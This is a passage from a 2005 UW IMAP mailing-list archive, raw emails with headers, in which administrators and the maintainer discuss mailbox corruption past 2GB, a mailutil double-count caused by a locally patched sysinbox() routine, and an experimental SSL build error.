Is there any way to solve the >GB mailboxes issue without changing the user's behaviour (since I have no power in that)? If I just have a script that rename the old mailbox and create new one every now and then, is there any possibility it cause corruption to the mailbox if the user happen to access it at the time (using IMAP server)? Thank you! -- Stephan Paul Arif Sahari Wibowo _____ _____ _____ _____ /____ /____/ /____/ /____ _____/ / / / _____/ http://www.arifsaha.com/ _______________________________________________ Imap-uw mailing list Imap-uw@u.washington.edu https://mailman1.u.washington.edu/mailman/listinfo/imap-uw From pinedev@shivax2.cac.washington.edu Wed Aug 31 13:32:25 2005 -0700 Return-Path: Received: via tmail-2000(13) (invoked by user mailnull) for mailarch+c-client; Wed, 31 Aug 2005 13:32:25 -0700 (PDT) Return-Path: Received: from mx2.cac.washington.edu (mx2.cac.washington.edu [140.142.33.1]) by groupms.cac.washington.edu (8.13.4+UW05.04/8.13.4+UW05.07) with ESMTP id j7VKWPfA022069 for ; Wed, 31 Aug 2005 13:32:25 -0700 Received: from mailman1.u.washington.edu (mailman1.u.washington.edu [140.142.12.154]) by mx2.cac.washington.edu (8.13.4+UW05.04/8.13.4+UW05.07) with ESMTP id j7VKWOa9011176 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=NO); Wed, 31 Aug 2005 13:32:24 -0700 Received: from mailman1.u.washington.edu (localhost [127.0.0.1]) by mailman1.u.washington.edu (8.13.4+UW05.04/8.13.4+UW05.07) with ESMTP id j7VKW7Mj028119; Wed, 31 Aug 2005 13:32:07 -0700 Received: from mxi2.u.washington.edu (mxi2.u.washington.edu [140.142.33.12]) by mailman1.u.washington.edu (8.13.4+UW05.04/8.13.4+UW05.07) with ESMTP id j7VKW73f028110 for ; Wed, 31 Aug 2005 13:32:07 -0700 Received: from mxout5.cac.washington.edu (mxout5.cac.washington.edu [140.142.32.135]) by mxi2.u.washington.edu (8.13.4+UW05.04/8.13.4+UW05.07) with ESMTP id j7VKW6qg016521 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=OK) for ; Wed, 31 Aug 2005 13:32:06 -0700 Received: from smtp.washington.edu (smtp.washington.edu [140.142.32.139]) by mxout5.cac.washington.edu (8.13.4+UW05.04/8.13.4+UW05.07) with ESMTP id j7VKW58g031257 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=OK); Wed, 31 Aug 2005 13:32:05 -0700 X-Auth-Received: from Tomobiki-Cho.CAC.Washington.EDU (tomobiki-cho.cac.washington.edu [128.95.135.58]) (authenticated authid=mrc) by smtp.washington.edu (8.13.4+UW05.04/8.13.4+UW05.07) with ESMTP id j7VKW4OW016180 (version=TLSv1/SSLv3 cipher=RC4-MD5 bits=128 verify=NOT); Wed, 31 Aug 2005 13:32:05 -0700 Date: Wed, 31 Aug 2005 13:30:03 -0700 (Pacific Daylight Time) From: Mark Crispin To: S P Arif Sahari Wibowo Subject: Re: [Imap-uw] >2GB mailboxes In-Reply-To: Message-ID: References: Organization: Networks & Distributed Computing MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII; format=flowed X-Uwash-Spam: Gauge=IIIIIII, Probability=7%, Report='__CT 0, __CT_TEXT_PLAIN 0, __HAS_MSGID 0, __MIME_TEXT_ONLY 0, __MIME_VERSION 0, __SANE_MSGID 0, __STOCK_CRUFT 0' Cc: imap-uw@u.washington.edu X-BeenThere: imap-uw@u.washington.edu X-Mailman-Version: 2.1.5 Precedence: list List-Id: imap-uw.u.washington.edu List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , Sender: imap-uw-bounces@mailman1.u.washington.edu Errors-To: imap-uw-bounces@mailman1.u.washington.edu On Wed, 31 Aug 2005, S P Arif Sahari Wibowo wrote: > Well, one mailbox (a sent-mail mailbox) just went over 2GB limit (on linux) > and get corrupted. I was a bit surprised that the problem happened at 2GB instead of 4GB, but it seems that the stdio fseek() call uses a signed long. I'm surprised that they didn't expand it when they expanded lseek(). > Anyway, this problem will come back again and again in the future. Is there > any way to solve the >GB mailboxes issue without changing the user's > behaviour (since I have no power in that)? One can make the argument that a user who allows a single mailbox to exceed 2GB richly deserves whatever punishment is meted out. :-) :-) More seriously,...!!! I am looking into how the code can be extended to support more than 2GB in a portable manner. I have resisted using the fsetpos() interface since it is documented that fpos_t is not necessarily a byte offset; also, the implication is that fsetpos() just calls fseek(). I'm going to look at the source code for Linux's stdio and see what's actually going on as opposed to what the man page says. The problem is how to be portable without breaking imapd on some of the dinosaur systems that people still use as IMAP servers. The true fix, is a new mailbox format which is designed to scale to 2GB+ sizes. We're working on it... > If I just have a script that rename the old mailbox and create new one every > now and then, is there any possibility it cause corruption to the mailbox if > the user happen to access it at the time (using IMAP server)? One thing that you could try to do is acquire an exclusive lock on the mailbox file. If you can acquire that lock, then you can safely rename the mailbox since nothing has it opened. -- Mark -- http://staff.washington.edu/mrc Science does not emerge from voting, party politics, or public debate. Si vis pacem, para bellum. _______________________________________________ Imap-uw mailing list Imap-uw@u.washington.edu https://mailman1.u.washington.edu/mailman/listinfo/imap-uw From pinedev@shivax2.cac.washington.edu Wed Aug 31 15:33:22 2005 -0700 Return-Path: Received: via tmail-2000(13) (invoked by user mailnull) for mailarch+c-client; Wed, 31 Aug 2005 15:33:22 -0700 (PDT) Return-Path: Received: from mx2.cac.washington.edu (mx2.cac.washington.edu [140.142.33.1]) by groupms.cac.washington.edu (8.13.4+UW05.04/8.13.4+UW05.07) with ESMTP id j7VMXMI0028456 for ; Wed, 31 Aug 2005 15:33:22 -0700 Received: from mailman1.u.washington.edu (mailman1.u.washington.edu [140.142.12.154]) by mx2.cac.washington.edu (8.13.4+UW05.04/8.13.4+UW05.07) with ESMTP id j7VMXL1b018446 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=NO); Wed, 31 Aug 2005 15:33:21 -0700 Received: from mailman1.u.washington.edu (localhost [127.0.0.1]) by mailman1.u.washington.edu (8.13.4+UW05.04/8.13.4+UW05.07) with ESMTP id j7VMX6DE012043; Wed, 31 Aug 2005 15:33:06 -0700 Received: from mxe3.u.washington.edu (mxe3.u.washington.edu [140.142.32.137]) by mailman1.u.washington.edu (8.13.4+UW05.04/8.13.4+UW05.07) with ESMTP id j7VMX6pv012035 for ; Wed, 31 Aug 2005 15:33:06 -0700 Received: from dogbert.cc.ndsu.NoDak.edu (dogbert.cc.ndsu.NoDak.edu [134.129.106.23]) by mxe3.u.washington.edu (8.13.4+UW05.04/8.13.4+UW05.07) with ESMTP id j7VMX5WD000617 for ; Wed, 31 Aug 2005 15:33:05 -0700 Received: from localhost (mooney@localhost) by dogbert.cc.ndsu.NoDak.edu (8.11.7/8.11.7) with ESMTP id j7VMX5V428370 for ; Wed, 31 Aug 2005 17:33:05 -0500 (CDT) Date: Wed, 31 Aug 2005 17:33:04 -0500 (CDT) From: Tim Mooney To: imap-uw@u.washington.edu Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII; format=flowed X-Uwash-Spam: Gauge=IIIIIII, Probability=7%, Report='__C230066_P5 0, __CT 0, __CT_TEXT_PLAIN 0, __HAS_MSGID 0, __MIME_TEXT_ONLY 0, __MIME_VERSION 0, __SANE_MSGID 0, __STOCK_CRUFT 0' Subject: [Imap-uw] mailutil double count, 2004f comments X-BeenThere: imap-uw@u.washington.edu X-Mailman-Version: 2.1.5 Precedence: list List-Id: imap-uw.u.washington.edu List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , Sender: imap-uw-bounces@mailman1.u.washington.edu Errors-To: imap-uw-bounces@mailman1.u.washington.edu A few comments: - It appears that mailutil double counts every message when doing a "check", at least for mbx-format mailboxes: sh-2.05$ /usr/local/sbin/mailutil check INBOX 0 new message(s) (14 unseen), 16 total in INBOX sh-2.05$ grep -a '..-...-.... ' INBOX 31-Aug-2005 16:30:27 -0500,31268;000000000000-000024b1 31-Aug-2005 16:21:43 -0500,5709;000000000000-000024b2 31-Aug-2005 16:19:59 -0500,3387;000000000000-000024b3 31-Aug-2005 15:14:17 -0500,2939;000000000000-000024b4 31-Aug-2005 16:41:33 -0500,6001;000000000001-000024b5 31-Aug-2005 16:54:08 -0500,3062;000000000000-000024b6 ---------------Our Most Asked for Offers--------------- 31-Aug-2005 16:57:37 -0500,3161;000000000000-000024b7 31-Aug-2005 17:06:21 -0500,4782;000000000000-000024b8 Red Hat's pine (4.44) on this system correctly says there are 8 messages in INBOX, 7 unseen. mailutil is from the 2004c1 distribution, but I just built 2004f today and the same thing happens. These aren't messages that haven't been garbage-counted or something like that -- there are only 8 messages in that INBOX. - I see 2004f is out as of a few days ago, but the IMAP Information Center web page doesn't mention it or 2004e. - It's cool that 2004f includes experimental support (not enabled by default) for SSL alternate names. I tried building it, and it looks like it requires a newer version of OpenSSL than the standard ssl_unix.c requires. On Red Hat 2.1AS, which includes (a probably heavily modified) OpenSSL 0.9.6b, the standard ssl_unix.c builds fine but the experimental one won't: osdep.c: In function `ssl_start_work': osdep.c:417: `sslclientcert_t' undeclared (first use in this function) osdep.c:417: (Each undeclared identifier is reported only once osdep.c:417: for each function it appears in.) osdep.c:417: parse error before `scc' osdep.c:419: `sslclientkey_t' undeclared (first use in this function) osdep.c:435: `scc' undeclared (first use in this function) osdep.c:443: `sck' undeclared (first use in this function) I don't know if that's possible to fix or even whether it's worth anyone's time to investigate, but I thought it might be a useful note for the documentation. - It would be really helpful if mailutil supported some kind of a "what version am I?" argument, so it would be possible to interrogate it and find out what version of the imap toolkit it came from. Tim -- Tim Mooney mooney@dogbert.cc.ndsu.NoDak.edu Information Technology Services (701) 231-1076 (Voice) Room 242-J6, IACC Building (701) 231-8541 (Fax) North Dakota State University, Fargo, ND 58105-5164 _______________________________________________ Imap-uw mailing list Imap-uw@u.washington.edu https://mailman1.u.washington.edu/mailman/listinfo/imap-uw From pinedev@shivax2.cac.washington.edu Wed Aug 31 15:39:35 2005 -0700 Return-Path: Received: via tmail-2000(13) (invoked by user mailnull) for mailarch+c-client; Wed, 31 Aug 2005 15:39:35 -0700 (PDT) Return-Path: Received: from mx1.cac.washington.edu (mx1.cac.washington.edu [140.142.32.140]) by groupms.cac.washington.edu (8.13.4+UW05.04/8.13.4+UW05.07) with ESMTP id j7VMdYRa028757 for ; Wed, 31 Aug 2005 15:39:35 -0700 Received: from mailman1.u.washington.edu (mailman1.u.washington.edu [140.142.12.154]) by mx1.cac.washington.edu (8.13.4+UW05.04/8.13.4+UW05.07) with ESMTP id j7VMdYDr011932 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=NO); Wed, 31 Aug 2005 15:39:34 -0700 Received: from mailman1.u.washington.edu (localhost [127.0.0.1]) by mailman1.u.washington.edu (8.13.4+UW05.04/8.13.4+UW05.07) with ESMTP id j7VMdUId012715; Wed, 31 Aug 2005 15:39:30 -0700 Received: from mxe5.u.washington.edu (mxe5.u.washington.edu [140.142.32.168]) by mailman1.u.washington.edu (8.13.4+UW05.04/8.13.4+UW05.07) with ESMTP id j7VMa4R2012313 for ; Wed, 31 Aug 2005 15:36:04 -0700 Received: from dogbert.cc.ndsu.NoDak.edu (dogbert.cc.ndsu.NoDak.edu [134.129.106.23]) by mxe5.u.washington.edu (8.13.4+UW05.04/8.13.4+UW05.07) with ESMTP id j7VMa3bK023350 for ; Wed, 31 Aug 2005 15:36:04 -0700 Received: from localhost (mooney@localhost) by dogbert.cc.ndsu.NoDak.edu (8.11.7/8.11.7) with ESMTP id j7VMa3q429337 for ; Wed, 31 Aug 2005 17:36:03 -0500 (CDT) Date: Wed, 31 Aug 2005 17:36:03 -0500 (CDT) From: Tim Mooney To: imap-uw@u.washington.edu Subject: Re: [Imap-uw] mailutil double count, 2004f comments In-Reply-To: Message-ID: References: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII; format=flowed X-Uwash-Spam: Gauge=IIIIIII, Probability=7%, Report='__CT 0, __CT_TEXT_PLAIN 0, __HAS_MSGID 0, __MIME_TEXT_ONLY 0, __MIME_VERSION 0, __SANE_MSGID 0, __STOCK_CRUFT 0' X-BeenThere: imap-uw@u.washington.edu X-Mailman-Version: 2.1.5 Precedence: list List-Id: imap-uw.u.washington.edu List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , Sender: imap-uw-bounces@mailman1.u.washington.edu Errors-To: imap-uw-bounces@mailman1.u.washington.edu In regard to: [Imap-uw] mailutil double count, 2004f comments, Tim Mooney...: > Red Hat's pine (4.44) on this system correctly says there are 8 messages > in INBOX, 7 unseen. mailutil is from the 2004c1 distribution, but I just > built 2004f today and the same thing happens. These aren't messages that > haven't been garbage-counted or something like that -- there are only 8 > messages in that INBOX. I meant "garbage-collected". Sorry about that. Tim _______________________________________________ Imap-uw mailing list Imap-uw@u.washington.edu https://mailman1.u.washington.edu/mailman/listinfo/imap-uw From pinedev@shivax2.cac.washington.edu Wed Aug 31 15:50:56 2005 -0700 Return-Path: Received: via tmail-2000(13) (invoked by user mailnull) for mailarch+c-client; Wed, 31 Aug 2005 15:50:56 -0700 (PDT) Return-Path: Received: from mx1.cac.washington.edu (mx1.cac.washington.edu [140.142.32.140]) by groupms.cac.washington.edu (8.13.4+UW05.04/8.13.4+UW05.07) with ESMTP id j7VMou2L029629 for ; Wed, 31 Aug 2005 15:50:56 -0700 Received: from mailman1.u.washington.edu (mailman1.u.washington.edu [140.142.12.154]) by mx1.cac.washington.edu (8.13.4+UW05.04/8.13.4+UW05.07) with ESMTP id j7VMotUI012796 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=NO); Wed, 31 Aug 2005 15:50:55 -0700 Received: from mailman1.u.washington.edu (localhost [127.0.0.1]) by mailman1.u.washington.edu (8.13.4+UW05.04/8.13.4+UW05.07) with ESMTP id j7VMoeGH014780; Wed, 31 Aug 2005 15:50:40 -0700 Received: from mxi1.u.washington.edu (mxi1.u.washington.edu [140.142.32.143]) by mailman1.u.washington.edu (8.13.4+UW05.04/8.13.4+UW05.07) with ESMTP id j7VMocgm014769 for ; Wed, 31 Aug 2005 15:50:38 -0700 Received: from mxout7.cac.washington.edu (mxout7.cac.washington.edu [140.142.32.178]) by mxi1.u.washington.edu (8.13.4+UW05.04/8.13.4+UW05.07) with ESMTP id j7VMocqs020821 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=OK) for ; Wed, 31 Aug 2005 15:50:38 -0700 Received: from smtp.washington.edu (smtp.washington.edu [140.142.33.9]) by mxout7.cac.washington.edu (8.13.4+UW05.04/8.13.4+UW05.07) with ESMTP id j7VMobqG024394 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=OK); Wed, 31 Aug 2005 15:50:37 -0700 X-Auth-Received: from Tomobiki-Cho.CAC.Washington.EDU (tomobiki-cho.cac.washington.edu [128.95.135.58]) (authenticated authid=mrc) by smtp.washington.edu (8.13.4+UW05.04/8.13.4+UW05.07) with ESMTP id j7VMob0a003073 (version=TLSv1/SSLv3 cipher=RC4-MD5 bits=128 verify=NOT); Wed, 31 Aug 2005 15:50:37 -0700 Date: Wed, 31 Aug 2005 15:48:36 -0700 (Pacific Daylight Time) From: Mark Crispin To: Tim Mooney Subject: Re: [Imap-uw] mailutil double count, 2004f comments In-Reply-To: Message-ID: References: Organization: Networks & Distributed Computing MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII; format=flowed X-Uwash-Spam: Gauge=IIIIIII, Probability=7%, Report='__CT 0, __CT_TEXT_PLAIN 0, __HAS_MSGID 0, __MIME_TEXT_ONLY 0, __MIME_VERSION 0, __SANE_MSGID 0, __STOCK_CRUFT 0' Cc: imap-uw@u.washington.edu X-BeenThere: imap-uw@u.washington.edu X-Mailman-Version: 2.1.5 Precedence: list List-Id: imap-uw.u.washington.edu List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , Sender: imap-uw-bounces@mailman1.u.washington.edu Errors-To: imap-uw-bounces@mailman1.u.washington.edu On Wed, 31 Aug 2005, Tim Mooney wrote: > - It appears that mailutil double counts every message when doing a > "check", at least for mbx-format mailboxes: Did you modify the software in any way? In particular, did you modify the sysinbox() routine to point to the mbx-format INBOX? If you did, don't do that. > - I see 2004f is out as of a few days ago, but the IMAP Information Center > web page doesn't mention it or 2004e. Both 2004e and 2004f are patch-only releases. 2005 will be the next major release, unless it gets to January in which case it'll be 2006... :-) > - It's cool that 2004f includes experimental support (not enabled by > default) for SSL alternate names. I tried building it, and it looks > like it requires a newer version of OpenSSL than the standard ssl_unix.c > requires. Hmm. It looks like it needs the imap-2005 version of mail.h. Oh well If you really want to play with it, I'll send you the definitions of sslclientcert_t and sslclientkey_t; otherwise, wait until imap-2005 comes out. > - It would be really helpful if mailutil supported some kind of a "what > version am I?" argument, so it would be possible to interrogate it and > find out what version of the imap toolkit it came from. Starting in imap-2005, mailutil announces its version in its help text. -- Mark -- http://staff.washington.edu/mrc Science does not emerge from voting, party politics, or public debate. Si vis pacem, para bellum. _______________________________________________ Imap-uw mailing list Imap-uw@u.washington.edu https://mailman1.u.washington.edu/mailman/listinfo/imap-uw From pinedev@shivax2.cac.washington.edu Wed Aug 31 16:11:11 2005 -0700 Return-Path: Received: via tmail-2000(13) (invoked by user mailnull) for mailarch+c-client; Wed, 31 Aug 2005 16:11:11 -0700 (PDT) Return-Path: Received: from mx1.cac.washington.edu (mx1.cac.washington.edu [140.142.32.140]) by groupms.cac.washington.edu (8.13.4+UW05.04/8.13.4+UW05.07) with ESMTP id j7VNBBXx030988 for ; Wed, 31 Aug 2005 16:11:11 -0700 Received: from mailman1.u.washington.edu (mailman1.u.washington.edu [140.142.12.154]) by mx1.cac.washington.edu (8.13.4+UW05.04/8.13.4+UW05.07) with ESMTP id j7VNBAwq014298 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=NO); Wed, 31 Aug 2005 16:11:10 -0700 Received: from mailman1.u.washington.edu (localhost [127.0.0.1]) by mailman1.u.washington.edu (8.13.4+UW05.04/8.13.4+UW05.07) with ESMTP id j7VNAqVp017655; Wed, 31 Aug 2005 16:10:52 -0700 Received: from mxe4.u.washington.edu (mxe4.u.washington.edu [140.142.33.15]) by mailman1.u.washington.edu (8.13.4+UW05.04/8.13.4+UW05.07) with ESMTP id j7VNApLa017647 for ; Wed, 31 Aug 2005 16:10:51 -0700 Received: from dogbert.cc.ndsu.NoDak.edu (dogbert.cc.ndsu.NoDak.edu [134.129.106.23]) by mxe4.u.washington.edu (8.13.4+UW05.04/8.13.4+UW05.07) with ESMTP id j7VNAovY031705 for ; Wed, 31 Aug 2005 16:10:51 -0700 Received: from localhost (mooney@localhost) by dogbert.cc.ndsu.NoDak.edu (8.11.7/8.11.7) with ESMTP id j7VNAot428891 for ; Wed, 31 Aug 2005 18:10:50 -0500 (CDT) Date: Wed, 31 Aug 2005 18:10:50 -0500 (CDT) From: Tim Mooney To: imap-uw@u.washington.edu Subject: Re: [Imap-uw] mailutil double count, 2004f comments In-Reply-To: Message-ID: References: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII; format=flowed X-Uwash-Spam: Gauge=IIIIIII, Probability=7%, Report='__C230066_P5 0, __CT 0, __CT_TEXT_PLAIN 0, __HAS_MSGID 0, __MIME_TEXT_ONLY 0, __MIME_VERSION 0, __SANE_MSGID 0, __STOCK_CRUFT 0' X-BeenThere: imap-uw@u.washington.edu X-Mailman-Version: 2.1.5 Precedence: list List-Id: imap-uw.u.washington.edu List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , Sender: imap-uw-bounces@mailman1.u.washington.edu Errors-To: imap-uw-bounces@mailman1.u.washington.edu In regard to: Re: [Imap-uw] mailutil double count, 2004f comments, Mark...: > On Wed, 31 Aug 2005, Tim Mooney wrote: >> - It appears that mailutil double counts every message when doing a >> "check", at least for mbx-format mailboxes: > > Did you modify the software in any way? > > In particular, did you modify the sysinbox() routine to point to the > mbx-format INBOX? If you did, don't do that. That is exactly what was done, to support home directory mail delivery on our IMAP servers. Our sysinbox() in env_unix.c looks like: char *sysinbox () { char tmp[MAILTMPLEN]; if (!sysInbox) { /* initialize if first time */ #if defined(KERDAP) sprintf(tmp, "%s/INBOX", myHomeDir); #else sprintf (tmp,"%s/%s",MAILSPOOL,myusername ()); #endif sysInbox = cpystr (tmp); /* system inbox is from mail spool */ } return sysInbox; } and we are compiling with KERDAP defined. I probably already know the answer to this, but I have to ask: do you have a recommendation for a better method of having all of the imap suite (imapd, dmail, mailutil, et. al.) have both INBOX and all users folders relative to the user's home directory? > Hmm. It looks like it needs the imap-2005 version of mail.h. Oh well > > If you really want to play with it, I'll send you the definitions of > sslclientcert_t and sslclientkey_t; otherwise, wait until imap-2005 comes out. We can wait. >> - It would be really helpful if mailutil supported some kind of a "what >> version am I?" argument, so it would be possible to interrogate it and >> find out what version of the imap toolkit it came from. > > Starting in imap-2005, mailutil announces its version in its help text. Excellent, thanks. Tim -- Tim Mooney mooney@dogbert.cc.ndsu.NoDak.edu Information Technology Services (701) 231-1076 (Voice) Room 242-J6, IACC Building (701) 231-8541 (Fax) North Dakota State University, Fargo, ND 58105-5164 _______________________________________________ Imap-uw mailing list Imap-uw@u.washington.edu https://mailman1.u.washington.edu/mailman/listinfo/imap-uw From pinedev@shivax2.cac.washington.edu Wed Aug 31 16:16:56 2005 -0700 Return-Path: Received: via tmail-2000(13) (invoked by user mailnull) for mailarch+c-client; Wed, 31 Aug 2005 16:16:56 -0700 (PDT) Return-Path: Received: from mx1.cac.washington.edu (mx1.cac.washington.edu [140.142.32.140]) by groupms.cac.washington.edu (8.13.4+UW05.04/8.13.4+UW05.07) with ESMTP id j7VNGug5031399 for ; Wed, 31 Aug 2005 16:16:56 -0700 Received: from mailman1.u.washington.edu (mailman1.u.washington.edu [140.142.12.154]) by mx1.cac.washington.edu (8.13.4+UW05.04/8.13.4+UW05.07) with ESMTP id j7VNGtuH014639 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=NO); Wed, 31 Aug 2005 16:16:55 -0700 Received: from mailman1.u.washington.edu (localhost [127.0.0.1]) by mailman1.u.washington.edu (8.13.4+UW05.04/8.13.4+UW05.07) with ESMTP id j7VNGpZG018342; Wed, 31 Aug 2005 16:16:51 -0700 Received: from mxi3.u.washington.edu (mxi3.u.washington.edu [140.142.32.176]) by mailman1.u.washington.edu (8.13.4+UW05.04/8.13.4+UW05.07) with ESMTP id j7VNGoow018325 for ; Wed, 31 Aug 2005 16:16:50 -0700 Received: from mxout2.cac.washington.edu (mxout2.cac.washington.edu [140.142.33.4]) by mxi3.u.washington.edu (8.13.4+UW05.04/8.13.4+UW05.07) with ESMTP id j7VNGnV1027907 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=OK) for ; Wed, 31 Aug 2005 16:16:50 -0700 Received: from smtp.washington.edu (smtp.washington.edu [140.142.32.139]) by mxout2.cac.washington.edu (8.13.4+UW05.04/8.13.4+UW05.07) with ESMTP id j7VNGVVN029147 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=OK); Wed, 31 Aug 2005 16:16:31 -0700 X-Auth-Received: from Tomobiki-Cho.CAC.Washington.EDU (tomobiki-cho.cac.washington.edu [128.95.135.58]) (authenticated authid=mrc) by smtp.washington.edu (8.13.4+UW05.04/8.13.4+UW05.07) with ESMTP id j7VNGVBo021179 (version=TLSv1/SSLv3 cipher=RC4-MD5 bits=128 verify=NOT); Wed, 31 Aug 2005 16:16:31 -0700 Date: Wed, 31 Aug 2005 16:14:30 -0700 (Pacific Daylight Time) From: Mark Crispin To: Tim Mooney Subject: Re: [Imap-uw] mailutil double count, 2004f comments In-Reply-To: Message-ID: References: Organization: Networks & Distributed Computing MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII; format=flowed X-Uwash-Spam: Gauge=IIIIIII, Probability=7%, Report='__CT 0, __CT_TEXT_PLAIN 0, __HAS_MSGID 0, __MIME_TEXT_ONLY 0, __MIME_VERSION 0, __SANE_MSGID 0, __STOCK_CRUFT 0' Cc: imap-uw@u.washington.edu X-BeenThere: imap-uw@u.washington.edu X-Mailman-Version: 2.1.5 Precedence: list List-Id: imap-uw.u.washington.edu List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , Sender: imap-uw-bounces@mailman1.u.washington.edu Errors-To: imap-uw-bounces@mailman1.u.washington.edu On Wed, 31 Aug 2005, Tim Mooney wrote: >> In particular, did you modify the sysinbox() routine to point to the >> mbx-format INBOX? If you did, don't do that. > That is exactly what was done, to support home directory mail delivery > on our IMAP servers. That's completely unnecessary and (as you noticed) counter-productive. sysinbox() should always point to the traditional UNIX mail spool. It's perfectly alright if there is no traditional UNIX mail spool. What you don't want is for sysinbox() to point to something other than the traditional UNIX mail spool. The bogus double count in mail_status() (which is what mailutil reported) is only the tip of the iceberg of what's wrong when you make sysinbox() point to a home directory INBOX. > I probably already know > the answer to this, but I have to ask: do you have a recommendation for > a better method of having all of the imap suite (imapd, dmail, mailutil, > et. al.) have both INBOX and all users folders relative to the user's home > directory? Since you are using mbx format, that's already the case without you having to do anything. mbx format INBOX is always in the user's home directory. -- Mark -- http://staff.washington.edu/mrc Science does not emerge from voting, party politics, or public debate. Si vis pacem, para bellum. _______________________________________________ Imap-uw mailing list Imap-uw@u.washington.edu https://mailman1.u.washington.edu/mailman/listinfo/imap-uw From pinedev@shivax2.cac.washington.edu Wed Aug 31 16:25:34 2005 -0700 Return-Path: Received: via tmail-2000(13) (invoked by user mailnull) for mailarch+c-client; Wed, 31 Aug 2005 16:25:34 -0700 (PDT) Return-Path: Received: from mx1.cac.washington.edu (mx1.cac.washington.edu [140.142.32.140]) by groupms.cac.washington.edu (8.13.4+UW05.04/8.13.4+UW05.07) with ESMTP id j7VNPYuC031962 for ; Wed, 31 Aug 2005 16:25:34 -0700 Received: from mailman1.u.washington.edu (mailman1.u.washington.edu [140.142.12.154]) by mx1.cac.washington.edu (8.13.4+UW05.04/8.13.4+UW05.07) with ESMTP id j7VNPXdP015297 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=NO); Wed, 31 Aug 2005 16:25:33 -0700 Received: from mailman1.u.washington.edu (localhost [127.0.0.1]) by mailman1.u.washington.edu (8.13.4+UW05.04/8.13.4+UW05.07) with ESMTP id j7VNPDZW019930; Wed, 31 Aug 2005 16:25:13 -0700 Received: from mxe4.u.washington.edu (mxe4.u.washington.edu [140.142.33.15]) by mailman1.u.washington.edu (8.13.4+UW05.04/8.13.4+UW05.07) with ESMTP id j7VNPC8O019922 for ; Wed, 31 Aug 2005 16:25:12 -0700 Received: from dogbert.cc.ndsu.NoDak.edu (dogbert.cc.ndsu.NoDak.edu [134.129.106.23]) by mxe4.u.washington.edu (8.13.4+UW05.04/8.13.4+UW05.07) with ESMTP id j7VNPBeH006474 for ; Wed, 31 Aug 2005 16:25:11 -0700 Received: from localhost (mooney@localhost) by dogbert.cc.ndsu.NoDak.edu (8.11.7/8.11.7) with ESMTP id j7VNPAY428502 for ; Wed, 31 Aug 2005 18:25:10 -0500 (CDT) Date: Wed, 31 Aug 2005 18:25:10 -0500 (CDT) From: Tim Mooney To: imap-uw@u.washington.edu Subject: Re: [Imap-uw] mailutil double count, 2004f comments In-Reply-To: Message-ID: References: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII; format=flowed X-Uwash-Spam: Gauge=IIIIIII, Probability=7%, Report='__C230066_P5 0, __CT 0, __CT_TEXT_PLAIN 0, __HAS_MSGID 0, __MIME_TEXT_ONLY 0, __MIME_VERSION 0, __SANE_MSGID 0, __STOCK_CRUFT 0' X-BeenThere: imap-uw@u.washington.edu X-Mailman-Version: 2.1.5 Precedence: list List-Id: imap-uw.u.washington.edu List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , Sender: imap-uw-bounces@mailman1.u.washington.edu Errors-To: imap-uw-bounces@mailman1.u.washington.edu In regard to: Re: [Imap-uw] mailutil double count, 2004f comments, Mark...: >> I probably already know >> the answer to this, but I have to ask: do you have a recommendation for >> a better method of having all of the imap suite (imapd, dmail, mailutil, >> et. al.) have both INBOX and all users folders relative to the user's home >> directory? > > Since you are using mbx format, that's already the case without you having to > do anything. mbx format INBOX is always in the user's home directory. When we started with this scheme, we were still using traditional UNIX "From " style folders. We converted to MBX about 18 months ago. We'll have to do some testing, especially with dmail, but hopefully we can just get rid of this patch now that we're using MBX exclusively for delivery to the INBOX. Thanks for the clarification. Tim -- Tim Mooney mooney@dogbert.cc.ndsu.NoDak.edu Information Technology Services (701) 231-1076 (Voice) Room 242-J6, IACC Building (701) 231-8541 (Fax) North Dakota State University, Fargo, ND 58105-5164 _______________________________________________ Imap-uw mailing list Imap-uw@u.washington.edu https://mailman1.u.washington.edu/mailman/listinfo/imap-uw From pinedev@shivax2.cac.washington.edu Thu Sep 1 08:12:34 2005 -0700 Return-Path: Received: via tmail-2000(13) (invoked by user mailnull) for mailarch+c-client; Thu, 1 Sep 2005 08:12:34 -0700 (PDT) Return-Path: Received: from mx1.cac.washington.edu (mx1.cac.washington.edu [140.142.32.140]) by groupms.cac.washington.edu (8.13.4+UW05.04/8.13.4+UW05.07) with ESMTP id j81FCXXl010844 for ; Thu, 1 Sep 2005 08:12:33 -0700 Received: from mailman1.u.washington.edu (mailman1.u.washington.edu [140.142.12.154]) by mx1.cac.washington.edu (8.13.4+UW05.04/8.13.4+UW05.07) with ESMTP id j81FCWHu004421 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=NO); Thu, 1 Sep 